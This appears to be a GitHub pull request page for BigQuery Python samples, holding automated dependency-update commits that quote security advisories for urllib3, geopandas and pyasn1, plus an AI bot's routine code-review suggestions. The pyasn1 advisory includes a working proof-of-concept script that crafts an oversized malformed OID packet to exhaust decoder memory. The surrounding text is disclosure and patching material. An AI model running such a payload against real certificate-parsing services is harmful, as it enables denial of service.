If upgrading is not immediately possible, use
[`preload_content=False`](https://urllib3.readthedocs.io/en/2.5.0/advanced-usage.html#streaming-and-i-o)
and ensure that `resp.headers["content-encoding"]` contains a safe
number of encodings before reading the response content.

####
[CVE-2025-66471](https://redirect.github.com/urllib3/urllib3/security/advisories/GHSA-2xpw-w6gg-jr37)

### Impact

urllib3's [streaming
API](https://urllib3.readthedocs.io/en/2.5.0/advanced-usage.html#streaming-and-i-o)
is designed for the efficient handling of large HTTP responses by
reading the content in chunks, rather than loading the entire response
body into memory at once.

When streaming a compressed response, urllib3 can perform decoding or
decompression based on the HTTP `Content-Encoding` header (e.g., `gzip`,
`deflate`, `br`, or `zstd`). The library must read compressed data from
the network and decompress it until the requested chunk size is met. Any
resulting decompressed data that exceeds the requested amount is held in
an internal buffer for the next read operation.

The decompression logic could cause urllib3 to fully decode a small
amount of highly compressed data in a single operation. This can result
in excessive resource consumption (high CPU usage and massive memory
allocation for the decompressed data; CWE-409) on the client side, even
if the application only requested a small chunk of data.

### Affected usages

Applications and libraries using urllib3 version 2.5.0 and earlier to
stream large compressed responses or content from untrusted sources.

`stream()`, `read(amt=256)`, `read1(amt=256)`, `read_chunked(amt=256)`,
`readinto(b)` are examples of `urllib3.HTTPResponse` method calls using
the affected logic unless decoding is disabled explicitly.

### Remediation

Upgrade to at least urllib3 v2.6.0 in which the library avoids
decompressing data that exceeds the requested amount.

If your environment contains a package facilitating the Brotli encoding,
upgrade to at least Brotli 1.2.0 or brotlicffi 1.2.0.0 too. These
versions are enforced by the `urllib3[brotli]` extra in the patched
versions of urllib3.

### Credits

The issue was reported by @&#8203;Cycloctane.
Supplemental information was provided by @&#8203;stamparm during a
security audit performed by [7ASecurity](https://7asecurity.com/) and
facilitated by [OSTIF](https://ostif.org/).

---

### Release Notes

<details>
<summary>urllib3/urllib3 (urllib3)</summary>

###
[`v2.6.0`](https://redirect.github.com/urllib3/urllib3/blob/HEAD/CHANGES.rst#260-2025-12-05)

[Compare
Source](https://redirect.github.com/urllib3/urllib3/compare/2.5.0...2.6.0)

\==================

## Security

- Fixed a security issue where streaming API could improperly handle
highly
compressed HTTP content ("decompression bombs") leading to excessive
resource
consumption even when a small amount of data was requested. Reading
small
  chunks of compressed data is safer and much more efficient now.
(`GHSA-2xpw-w6gg-jr37
<https://github.com/urllib3/urllib3/security/advisories/GHSA-2xpw-w6gg-jr37>`\_\_)
- Fixed a security issue where an attacker could compose an HTTP
response with
virtually unlimited links in the `Content-Encoding` header, potentially
leading to a denial of service (DoS) attack by exhausting system
resources
during decoding. The number of allowed chained encodings is now limited
to 5.
(`GHSA-gm62-xv2j-4w53
<https://github.com/urllib3/urllib3/security/advisories/GHSA-gm62-xv2j-4w53>`\_\_)

.. caution::

- If urllib3 is not installed with the optional `urllib3[brotli]` extra,
but
your environment contains a Brotli/brotlicffi/brotlipy package anyway,
make
  sure to upgrade it to at least Brotli 1.2.0 or brotlicffi 1.2.0.0 to
  benefit from the security fixes and avoid warnings. Prefer using
`urllib3[brotli]` to install a compatible Brotli package automatically.

- If you use custom decompressors, please make sure to update them to
  respect the changed API of `urllib3.response.ContentDecoder`.

## Features

- Enabled retrieval, deletion, and membership testing in
`HTTPHeaderDict` using bytes keys. (`#&#8203;3653
<https://github.com/urllib3/urllib3/issues/3653>`\_\_)
- Added host and port information to string representations of
`HTTPConnection`. (`#&#8203;3666
<https://github.com/urllib3/urllib3/issues/3666>`\_\_)
- Added support for Python 3.14 free-threading builds explicitly.
(`#&#8203;3696 <https://github.com/urllib3/urllib3/issues/3696>`\_\_)

## Removals

- Removed the `HTTPResponse.getheaders()` method in favor of
`HTTPResponse.headers`.
Removed the `HTTPResponse.getheader(name, default)` method in favor of
`HTTPResponse.headers.get(name, default)`. (`#&#8203;3622
<https://github.com/urllib3/urllib3/issues/3622>`\_\_)

## Bugfixes

- Fixed redirect handling in `urllib3.PoolManager` when an integer is
passed
for the retries parameter. (`#&#8203;3649
<https://github.com/urllib3/urllib3/issues/3649>`\_\_)
- Fixed `HTTPConnectionPool` when used in Emscripten with no explicit
port. (`#&#8203;3664
<https://github.com/urllib3/urllib3/issues/3664>`\_\_)
- Fixed handling of `SSLKEYLOGFILE` with expandable variables.
(`#&#8203;3700 <https://github.com/urllib3/urllib3/issues/3700>`\_\_)

## Misc

- Changed the `zstd` extra to install `backports.zstd` instead of
`zstandard` on Python 3.13 and before. (`#&#8203;3693
<https://github.com/urllib3/urllib3/issues/3693>`\_\_)
- Improved the performance of content decoding by optimizing
`BytesQueueBuffer` class. (`#&#8203;3710
<https://github.com/urllib3/urllib3/issues/3710>`\_\_)
- Allowed building the urllib3 package with newer setuptools-scm v9.x.
(`#&#8203;3652 <https://github.com/urllib3/urllib3/issues/3652>`\_\_)
- Ensured successful urllib3 builds by setting Hatchling requirement to
>= 1.27.0. (`#&#8203;3638
<https://github.com/urllib3/urllib3/issues/3638>`\_\_)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - "" (UTC), Automerge - At any time (no
schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/googleapis/python-bigquery).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0Mi4zMi4yIiwidXBkYXRlZEluVmVyIjoiNDIuMzIuMiIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOltdfQ==-->

Co-authored-by: Lingqing Gan <[email protected]>
@renovate-bot @parthea
chore(deps): update dependency urllib3 to v2.6.3 [security] (#2357)
87f9f3e
This PR contains the following updates:

| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
| [urllib3](https://redirect.github.com/urllib3/urllib3)
([changelog](https://redirect.github.com/urllib3/urllib3/blob/main/CHANGES.rst))
| `==2.6.0` → `==2.6.3` |
![age](https://developer.mend.io/api/mc/badges/age/pypi/urllib3/2.6.3?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/pypi/urllib3/2.6.0/2.6.3?slim=true)
|

### GitHub Vulnerability Alerts

####
[CVE-2026-21441](https://redirect.github.com/urllib3/urllib3/security/advisories/GHSA-38jv-5279-wg99)

### Impact

urllib3's [streaming
API](https://urllib3.readthedocs.io/en/2.6.2/advanced-usage.html#streaming-and-i-o)
is designed for the efficient handling of large HTTP responses by
reading the content in chunks, rather than loading the entire response
body into memory at once.

urllib3 can perform decoding or decompression based on the HTTP
`Content-Encoding` header (e.g., `gzip`, `deflate`, `br`, or `zstd`).
When using the streaming API, the library decompresses only the
necessary bytes, enabling partial content consumption.

However, for HTTP redirect responses, the library would read the entire
response body to drain the connection and decompress the content
unnecessarily. This decompression occurred even before any read methods
were called, and configured read limits did not restrict the amount of
decompressed data. As a result, there was no safeguard against
decompression bombs. A malicious server could exploit this to trigger
excessive resource consumption on the client (high CPU usage and large
memory allocations for decompressed data; CWE-409).

### Affected usages

Applications and libraries using urllib3 version 2.6.2 and earlier to
stream content from untrusted sources by setting `preload_content=False`
when they do not disable redirects.

### Remediation

Upgrade to at least urllib3 v2.6.3 in which the library does not decode
content of redirect responses when `preload_content=False`.

If upgrading is not immediately possible, disable
[redirects](https://urllib3.readthedocs.io/en/2.6.2/user-guide.html#retrying-requests)
by setting `redirect=False` for requests to untrusted source.

---

### Release Notes

<details>
<summary>urllib3/urllib3 (urllib3)</summary>

###
[`v2.6.3`](https://redirect.github.com/urllib3/urllib3/blob/HEAD/CHANGES.rst#263-2026-01-07)

[Compare
Source](https://redirect.github.com/urllib3/urllib3/compare/2.6.2...2.6.3)

\==================

- Fixed a high-severity security issue where decompression-bomb
safeguards of
  the streaming API were bypassed when HTTP redirects were followed.
(`GHSA-38jv-5279-wg99
<https://github.com/urllib3/urllib3/security/advisories/GHSA-38jv-5279-wg99>`\_\_)
- Started treating `Retry-After` times greater than 6 hours as 6 hours
by
default. (`#&#8203;3743
<https://github.com/urllib3/urllib3/issues/3743>`\_\_)
- Fixed `urllib3.connection.VerifiedHTTPSConnection` on Emscripten.
  (`#&#8203;3752 <https://github.com/urllib3/urllib3/issues/3752>`\_\_)

###
[`v2.6.2`](https://redirect.github.com/urllib3/urllib3/blob/HEAD/CHANGES.rst#262-2025-12-11)

[Compare
Source](https://redirect.github.com/urllib3/urllib3/compare/2.6.1...2.6.2)

\==================

- Fixed `HTTPResponse.read_chunked()` to properly handle leftover data
in
  the decoder's buffer when reading compressed chunked responses.
  (`#&#8203;3734 <https://github.com/urllib3/urllib3/issues/3734>`\_\_)

###
[`v2.6.1`](https://redirect.github.com/urllib3/urllib3/blob/HEAD/CHANGES.rst#261-2025-12-08)

[Compare
Source](https://redirect.github.com/urllib3/urllib3/compare/2.6.0...2.6.1)

\==================

- Restore previously removed `HTTPResponse.getheaders()` and
  `HTTPResponse.getheader()` methods.
  (`#&#8203;3731 <https://github.com/urllib3/urllib3/issues/3731>`\_\_)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - "" (UTC), Automerge - At any time (no
schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/googleapis/python-bigquery).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0Mi42OS4xIiwidXBkYXRlZEluVmVyIjoiNDIuNjkuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOltdfQ==-->

Co-authored-by: Anthonios Partheniou <[email protected]>
@renovate-bot
chore(deps): update dependency geopandas to v1.1.2 [security] (#2411)
5d236f7
This PR contains the following updates:

| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
| [geopandas](https://redirect.github.com/geopandas/geopandas) |
`==1.1.1` → `==1.1.2` |
![age](https://developer.mend.io/api/mc/badges/age/pypi/geopandas/1.1.2?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/pypi/geopandas/1.1.1/1.1.2?slim=true)
|

### GitHub Vulnerability Alerts

#### [CVE-2025-69662](https://nvd.nist.gov/vuln/detail/CVE-2025-69662)

SQL injection vulnerability in geopandas before v.1.1.2 allows an
attacker to obtain sensitive information via the to_postgis()` function
being used to write GeoDataFrames to a PostgreSQL database.

---

### Release Notes

<details>
<summary>geopandas/geopandas (geopandas)</summary>

###
[`v1.1.2`](https://redirect.github.com/geopandas/geopandas/blob/HEAD/CHANGELOG.md#Version-112-December-22-2025)

[Compare
Source](https://redirect.github.com/geopandas/geopandas/compare/v1.1.1...v1.1.2)

Bug fixes:

- Fix an issue that caused an error in `GeoDataFrame.from_features` when
there is no `properties` field
([#&#8203;3599](https://redirect.github.com/geopandas/geopandas/issues/3599)).
- Fix `read_file` and `to_file` errors
([#&#8203;3682](https://redirect.github.com/geopandas/geopandas/issues/3682))
- Fix `read_parquet` with `to_pandas_kwargs` for complex (list/struct)
arrow types
([#&#8203;3640](https://redirect.github.com/geopandas/geopandas/issues/3640))
- `value_counts` on GeoSeries now preserves CRS in index
([#&#8203;3669](https://redirect.github.com/geopandas/geopandas/issues/3669))
- Fix f-string placeholders appearing in error messages when `pyogrio`
cannot be imported
([#&#8203;3682](https://redirect.github.com/geopandas/geopandas/issues/3682)).
- Fix `read_parquet` with `to_pandas_kwargs` for complex (list/struct)
arrow types
([#&#8203;3640](https://redirect.github.com/geopandas/geopandas/issues/3640)).
- `.to_json` now provides a clearer error message when called on a
GeoDataFrame without an active geometry
column
([#&#8203;3648](https://redirect.github.com/geopandas/geopandas/issues/3648)).
- Calling `del gdf["geometry"]` now will downcast to a `pd.DataFrame` if
there are no geometry columns left
in the dataframe
([#&#8203;3648](https://redirect.github.com/geopandas/geopandas/issues/3648)).
- Fix SQL injection in `to_postgis` via geometry column name
([#&#8203;3681](https://redirect.github.com/geopandas/geopandas/issues/3681)).

</details>

---

### Configuration

📅 **Schedule**: Branch creation - "" (UTC), Automerge - At any time (no
schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/googleapis/python-bigquery).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0Mi45Mi4xIiwidXBkYXRlZEluVmVyIjoiNDIuOTIuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOltdfQ==-->
@renovate-bot
chore(deps): update dependency pyasn1 to v0.6.2 [security] (#2407)
56e7ee7
This PR contains the following updates:

| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
| [pyasn1](https://redirect.github.com/pyasn1/pyasn1)
([changelog](https://pyasn1.readthedocs.io/en/latest/changelog.html)) |
`==0.6.1` → `==0.6.2` |
![age](https://developer.mend.io/api/mc/badges/age/pypi/pyasn1/0.6.2?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/pypi/pyasn1/0.6.1/0.6.2?slim=true)
|

### GitHub Vulnerability Alerts

####
[CVE-2026-23490](https://redirect.github.com/pyasn1/pyasn1/security/advisories/GHSA-63vm-454h-vhhq)

### Summary

After reviewing pyasn1 v0.6.1 a Denial-of-Service issue has been found
that leads to memory exhaustion from malformed RELATIVE-OID with
excessive continuation octets.

### Details

The integer issue can be found in the decoder as `reloid += ((subId <<
7) + nextSubId,)`:
https://github.com/pyasn1/pyasn1/blob/main/pyasn1/codec/ber/decoder.py#L496

### PoC

For the DoS:
```py
import pyasn1.codec.ber.decoder as decoder
import pyasn1.type.univ as univ
import sys
import resource

# Deliberately set memory limit to display PoC
try:
    resource.setrlimit(resource.RLIMIT_AS, (100*1024*1024, 100*1024*1024))
    print("[*] Memory limit set to 100MB")
except:
    print("[-] Could not set memory limit")

# Test with different payload sizes to find the DoS threshold
payload_size_mb = int(sys.argv[1])

print(f"[*] Testing with {payload_size_mb}MB payload...")

payload_size = payload_size_mb * 1024 * 1024

# Create payload with continuation octets
# Each 0x81 byte indicates continuation, causing bit shifting in decoder
payload = b'\x81' * payload_size + b'\x00'
length = len(payload)

# DER length encoding (supports up to 4GB)
if length < 128:
    length_bytes = bytes([length])
elif length < 256:
    length_bytes = b'\x81' + length.to_bytes(1, 'big')
elif length < 256**2:
    length_bytes = b'\x82' + length.to_bytes(2, 'big')
elif length < 256**3:
    length_bytes = b'\x83' + length.to_bytes(3, 'big')
else:
    # 4 bytes can handle up to 4GB
    length_bytes = b'\x84' + length.to_bytes(4, 'big')

# Use OID (0x06) for more aggressive parsing
malicious_packet = b'\x06' + length_bytes + payload

print(f"[*] Packet size: {len(malicious_packet) / 1024 / 1024:.1f} MB")

try:
    print("[*] Decoding (this may take time or exhaust memory)...")
    result = decoder.decode(malicious_packet, asn1Spec=univ.ObjectIdentifier())

    print(f'[+] Decoded successfully')
    print(f'[!] Object size: {sys.getsizeof(result[0])} bytes')

    # Try to convert to string
    print('[*] Converting to string...')
    try:
        str_result = str(result[0])
        print(f'[+] String succeeded: {len(str_result)} chars')
        if len(str_result) > 10000:
            print(f'[!] MEMORY EXPLOSION: {len(str_result)} character string!')
    except MemoryError:
        print(f'[-] MemoryError during string conversion!')
    except Exception as e:
        print(f'[-] {type(e).__name__} during string conversion')

except MemoryError:
    print('[-] MemoryError: Out of memory!')
except Exception as e:
    print(f'[-] Error: {type(e).__name__}: {e}')

print("\n[*] Test completed")
```

Screenshots with the results:

#### DoS
<img width="944" height="207" alt="Screenshot_20251219_160840"
src="https://github.com/user-attachments/assets/68b9566b-5ee1-47b0-a269-605b037dfc4f"
/>

<img width="931" height="231" alt="Screenshot_20251219_152815"
src="https://github.com/user-attachments/assets/62eacf4f-eb31-4fba-b7a8-e8151484a9fa"
/>

#### Leak analysis

A potential heap leak was investigated but came back clean:
```
[*] Creating 1000KB payload...
[*] Decoding with pyasn1...
[*] Materializing to string...
[+] Decoded 2157784 characters
[+] Binary representation: 896001 bytes
[+] Dumped to heap_dump.bin

[*] First 64 bytes (hex):
  01020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081

[*] First 64 bytes (ASCII/hex dump):
  0000: 01 02 04 08 10 20 40 81 02 04 08 10 20 40 81 02  ..... @&#8203;..... @&#8203;..
  0010: 04 08 10 20 40 81 02 04 08 10 20 40 81 02 04 08  ... @&#8203;..... @&#8203;....
  0020: 10 20 40 81 02 04 08 10 20 40 81 02 04 08 10 20  . @&#8203;..... @&#8203;..... 
  0030: 40 81 02 04 08 10 20 40 81 02 04 08 10 20 40 81  @&#8203;..... @&#8203;..... @&#8203;.

[*] Digit distribution analysis:
  '0':  10.1%
  '1':   9.9%
  '2':  10.0%
  '3':   9.9%
  '4':   9.9%
  '5':  10.0%
  '6':  10.0%
  '7':  10.0%
  '8':   9.9%
  '9':  10.1%
```

### Scenario

1. An attacker creates a malicious X.509 certificate.
2. The application validates certificates.
3. The application accepts the malicious certificate and tries decoding
resulting in the issues mentioned above.

### Impact

This issue can affect resource consumption and hang systems or stop
services.
This may affect:
- LDAP servers
- TLS/SSL endpoints
- OCSP responders
- etc.

### Recommendation

Add a limit to the allowed bytes in the decoder.

---

### Release Notes

<details>
<summary>pyasn1/pyasn1 (pyasn1)</summary>

###
[`v0.6.2`](https://redirect.github.com/pyasn1/pyasn1/blob/HEAD/CHANGES.rst#Revision-062-released-16-01-2026)

[Compare
Source](https://redirect.github.com/pyasn1/pyasn1/compare/v0.6.1...v0.6.2)

- CVE-2026-23490 (GHSA-63vm-454h-vhhq): Fixed continuation octet limits
  in OID/RELATIVE-OID decoder (thanks to tsigouris007)
- Added support for Python 3.14
  [pr #&#8203;97](https://redirect.github.com/pyasn1/pyasn1/pull/97)
- Added SECURITY.md policy
- Fixed unit tests failing due to missing code
[issue #&#8203;91](https://redirect.github.com/pyasn1/pyasn1/issues/91)
  [pr #&#8203;92](https://redirect.github.com/pyasn1/pyasn1/pull/92)
- Migrated to pyproject.toml packaging
  [pr #&#8203;90](https://redirect.github.com/pyasn1/pyasn1/pull/90)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - "" (UTC), Automerge - At any time (no
schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/googleapis/python-bigquery).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0Mi43NC41IiwidXBkYXRlZEluVmVyIjoiNDMuOC41IiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6W119-->
@parthea
Merge remote-tracking branch 'migration/main' into python-bigquery-mi…
efaa148
…gration
@product-auto-label product-auto-label Bot added samples Issues that are directly related to samples. api: bigquery Issues related to the BigQuery API. labels Sep 8, 2026
gemini-code-assist[bot]
gemini-code-assist Bot reviewed Sep 8, 2026
View reviewed changes

@gemini-code-assist gemini-code-assist Bot left a comment

Copy link
Copy Markdown
Contributor

There was a problem hiding this comment.

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Code Review

This pull request adds and updates various BigQuery Python samples, including authentication flows, table management, and query operations. The review feedback addresses several best practices: improving type safety by using enums instead of hardcoded strings for entity types, ensuring defensive checks for optional attributes, optimizing memory usage for row counting, and updating deprecated datetime methods. Additionally, the test configuration was updated to follow the rule of testing only the oldest and newest supported Python versions.

Sorry, something went wrong.

Uh oh!

There was an error while loading. Please reload this page.

All reactions
Comment thread bigquery/desktopapp/user_credentials.py
your application.
"""

import argparse

@gemini-code-assist gemini-code-assist Bot Sep 8, 2026

Copy link
Copy Markdown
Contributor

There was a problem hiding this comment.

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

medium

Import Optional from typing to support making the project parameter optional.

Suggested change
import argparse
import argparse
from typing import Optional

Sorry, something went wrong.

Uh oh!

There was an error while loading. Please reload this page.

All reactions
Comment thread bigquery/desktopapp/user_credentials.py
import argparse


def main(project: str) -> None:

@gemini-code-assist gemini-code-assist Bot Sep 8, 2026

Copy link
Copy Markdown
Contributor

There was a problem hiding this comment.

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

medium

Make the project parameter optional, defaulting to None. This allows the BigQuery client to automatically infer the project from Application Default Credentials (ADC) if not explicitly provided.

Suggested change
def main(project: str) -> None:
def main(project: Optional[str] = None) -> None:

Sorry, something went wrong.

Uh oh!

There was an error while loading. Please reload this page.

All reactions
Comment thread bigquery/desktopapp/user_credentials.py
Comment on lines +76 to +78
parser.add_argument("project", help="Project to use for BigQuery billing.")
args = parser.parse_args()
main(args.project)

@gemini-code-assist gemini-code-assist Bot Sep 8, 2026

Copy link
Copy Markdown
Contributor

There was a problem hiding this comment.

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

medium

According to the general rules, the project ID argument should be optional since it can be inferred from Application Default Credentials (ADC). Change the positional project argument to an optional --project_id argument.

Suggested change
parser.add_argument("project", help="Project to use for BigQuery billing.")
args = parser.parse_args()
main(args.project)
parser.add_argument("--project_id", help="Project to use for BigQuery billing.")
args = parser.parse_args()
main(args.project_id)
References
  1. When using argparse for a command-line script, the --project_id argument can be optional, as the project can be inferred from Application Default Credentials (ADC) if not provided.

Sorry, something went wrong.

Uh oh!

There was an error while loading. Please reload this page.

All reactions
Comment thread bigquery/client_list_jobs.py

# Use min_creation_time and/or max_creation_time to specify a time window.
print("Jobs from the last ten minutes:")
ten_mins_ago = datetime.datetime.utcnow() - datetime.timedelta(minutes=10)

@gemini-code-assist gemini-code-assist Bot Sep 8, 2026

Copy link
Copy Markdown
Contributor

There was a problem hiding this comment.

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

medium

datetime.datetime.utcnow() is deprecated in Python 3.12+. Use datetime.datetime.now(datetime.timezone.utc) instead to get a timezone-aware UTC datetime.

Suggested change
ten_mins_ago = datetime.datetime.utcnow() - datetime.timedelta(minutes=10)
ten_mins_ago = datetime.datetime.now(datetime.timezone.utc) - datetime.timedelta(minutes=10)

Sorry, something went wrong.

Uh oh!

There was an error while loading. Please reload this page.

All reactions
Comment thread bigquery/browse_table_data.py
Comment on lines +27 to +32
# Download all rows from a table.
rows_iter = client.list_rows(table_id) # Make an API request.

# Iterate over rows to make the API requests to fetch row data.
rows = list(rows_iter)
print("Downloaded {} rows from table {}".format(len(rows), table_id))

@gemini-code-assist gemini-code-assist Bot Sep 8, 2026

Copy link
Copy Markdown
Contributor

There was a problem hiding this comment.

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

medium

Calling list(rows_iter) on an arbitrary table loads all rows into memory at once, which can cause Out Of Memory (OOM) errors for large tables. Since the goal here is only to print the total number of rows, use the total_rows property of the RowIterator instead of loading all rows into memory.

Suggested change
# Download all rows from a table.
rows_iter = client.list_rows(table_id) # Make an API request.
# Iterate over rows to make the API requests to fetch row data.
rows = list(rows_iter)
print("Downloaded {} rows from table {}".format(len(rows), table_id))
# Download all rows from a table.
rows_iter = client.list_rows(table_id) # Make an API request.
# The RowIterator automatically pages results. We can get the total number of rows
# without loading all of them into memory.
print("Table {} contains {} rows.".format(table_id, rows_iter.total_rows))

Sorry, something went wrong.

Uh oh!

There was an error while loading. Please reload this page.

All reactions
Comment thread bigquery/snippets/view.py
Comment on lines +159 to +161
access_entries.append(
bigquery.AccessEntry("READER", "groupByEmail", analyst_group_email)
)

@gemini-code-assist gemini-code-assist Bot Sep 8, 2026

Copy link
Copy Markdown
Contributor

There was a problem hiding this comment.

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

medium

Use the EntityTypes.GROUP_BY_EMAIL enum instead of the hardcoded string 'groupByEmail' for better type safety and consistency.

Suggested change
access_entries.append(
bigquery.AccessEntry("READER", "groupByEmail", analyst_group_email)
)
access_entries.append(
bigquery.AccessEntry(
"READER", EntityTypes.GROUP_BY_EMAIL, analyst_group_email
)
)

Sorry, something went wrong.

Uh oh!

There was an error while loading. Please reload this page.

All reactions
Comment thread bigquery/snippets/view.py
Comment on lines +190 to +192
access_entries = source_dataset.access_entries
access_entries.append(bigquery.AccessEntry(None, "view", view_reference))
source_dataset.access_entries = access_entries

@gemini-code-assist gemini-code-assist Bot Sep 8, 2026

Copy link
Copy Markdown
Contributor

There was a problem hiding this comment.

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

medium

Use the EntityTypes.VIEW enum instead of the hardcoded string 'view' for better type safety and consistency.

Suggested change
access_entries = source_dataset.access_entries
access_entries.append(bigquery.AccessEntry(None, "view", view_reference))
source_dataset.access_entries = access_entries
access_entries = source_dataset.access_entries
access_entries.append(
bigquery.AccessEntry(None, EntityTypes.VIEW, view_reference)
)
source_dataset.access_entries = access_entries

Sorry, something went wrong.

Uh oh!

There was an error while loading. Please reload this page.

All reactions
Comment thread bigquery/update_dataset_access.py

def update_dataset_access(dataset_id: str) -> None:
# [START bigquery_update_dataset_access]
from google.cloud import bigquery

@gemini-code-assist gemini-code-assist Bot Sep 8, 2026

Copy link
Copy Markdown
Contributor

There was a problem hiding this comment.

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

medium

Import EntityTypes from google.cloud.bigquery.enums to avoid using hardcoded strings for entity types.

Suggested change
from google.cloud import bigquery
from google.cloud import bigquery
from google.cloud.bigquery.enums import EntityTypes

Sorry, something went wrong.

Uh oh!

There was an error while loading. Please reload this page.

All reactions
Comment thread bigquery/update_dataset_access.py
Comment on lines +28 to +32
entry = bigquery.AccessEntry(
role="READER",
entity_type="groupByEmail",
entity_id="[email protected]",
)

@gemini-code-assist gemini-code-assist Bot Sep 8, 2026

Copy link
Copy Markdown
Contributor

There was a problem hiding this comment.

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

medium

Use the EntityTypes.GROUP_BY_EMAIL enum instead of the hardcoded string 'groupByEmail' for better type safety and consistency.

Suggested change
entry = bigquery.AccessEntry(
role="READER",
entity_type="groupByEmail",
entity_id="[email protected]",
)
entry = bigquery.AccessEntry(
role="READER",
entity_type=EntityTypes.GROUP_BY_EMAIL,
entity_id="[email protected]",
)

Sorry, something went wrong.

Uh oh!

There was an error while loading. Please reload this page.

All reactions
Comment thread bigquery/desktopapp/noxfile_config.py
Comment on lines +25 to +30
"ignored_versions": [
"2.7",
# TODO: Enable 3.10 once there is a geopandas/fiona release.
# https://github.com/Toblerity/Fiona/issues/1043
"3.10",
],

@gemini-code-assist gemini-code-assist Bot Sep 8, 2026

Copy link
Copy Markdown
Contributor

There was a problem hiding this comment.

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

medium

According to the general rules, we should only test the oldest and newest supported Python releases in test configurations, ignoring intermediate versions. Update ignored_versions to ignore intermediate Python versions (e.g., 3.10, 3.11, 3.12, 3.13).

Suggested change
"ignored_versions": [
"2.7",
# TODO: Enable 3.10 once there is a geopandas/fiona release.
# https://github.com/Toblerity/Fiona/issues/1043
"3.10",
],
"ignored_versions": [
"2.7",
"3.7",
"3.8",
"3.10",
"3.11",
"3.12",
"3.13"
],
References
  1. Only test the oldest and newest supported Python releases in test configurations (such as noxfile_config.py), ignoring intermediate versions.

Sorry, something went wrong.

Uh oh!

There was an error while loading. Please reload this page.

All reactions
@parthea parthea closed this Sep 8, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Reviewers

@chalmerlowe chalmerlowe Awaiting requested review from chalmerlowe chalmerlowe will be requested when the pull request is marked ready for review chalmerlowe is a code owner
1 more reviewer
@gemini-code-assist gemini-code-assist[bot] gemini-code-assist[bot] left review comments
Reviewers whose approvals may not affect merge requirements

Uh oh!

There was an error while loading. Please reload this page.

Assignees

No one assigned

Labels

api: bigquery Issues related to the BigQuery API. samples Issues that are directly related to samples.

Projects

None yet

Milestone

No milestone

Development

Successfully merging this pull request may close these issues.

Uh oh!

There was an error while loading. Please reload this page.

20 participants

@parthea @renovate-bot @tswast @busunkim96 @steffnay @jli @meredithslota @abecerrilsalas @leahecole @chalmerlowe @aribray @Mattix23 @thejaredchapman @adhiggs @alvarowolfx @Linchin @kiraksi @SalemJorden @DevStephanie @shollyman
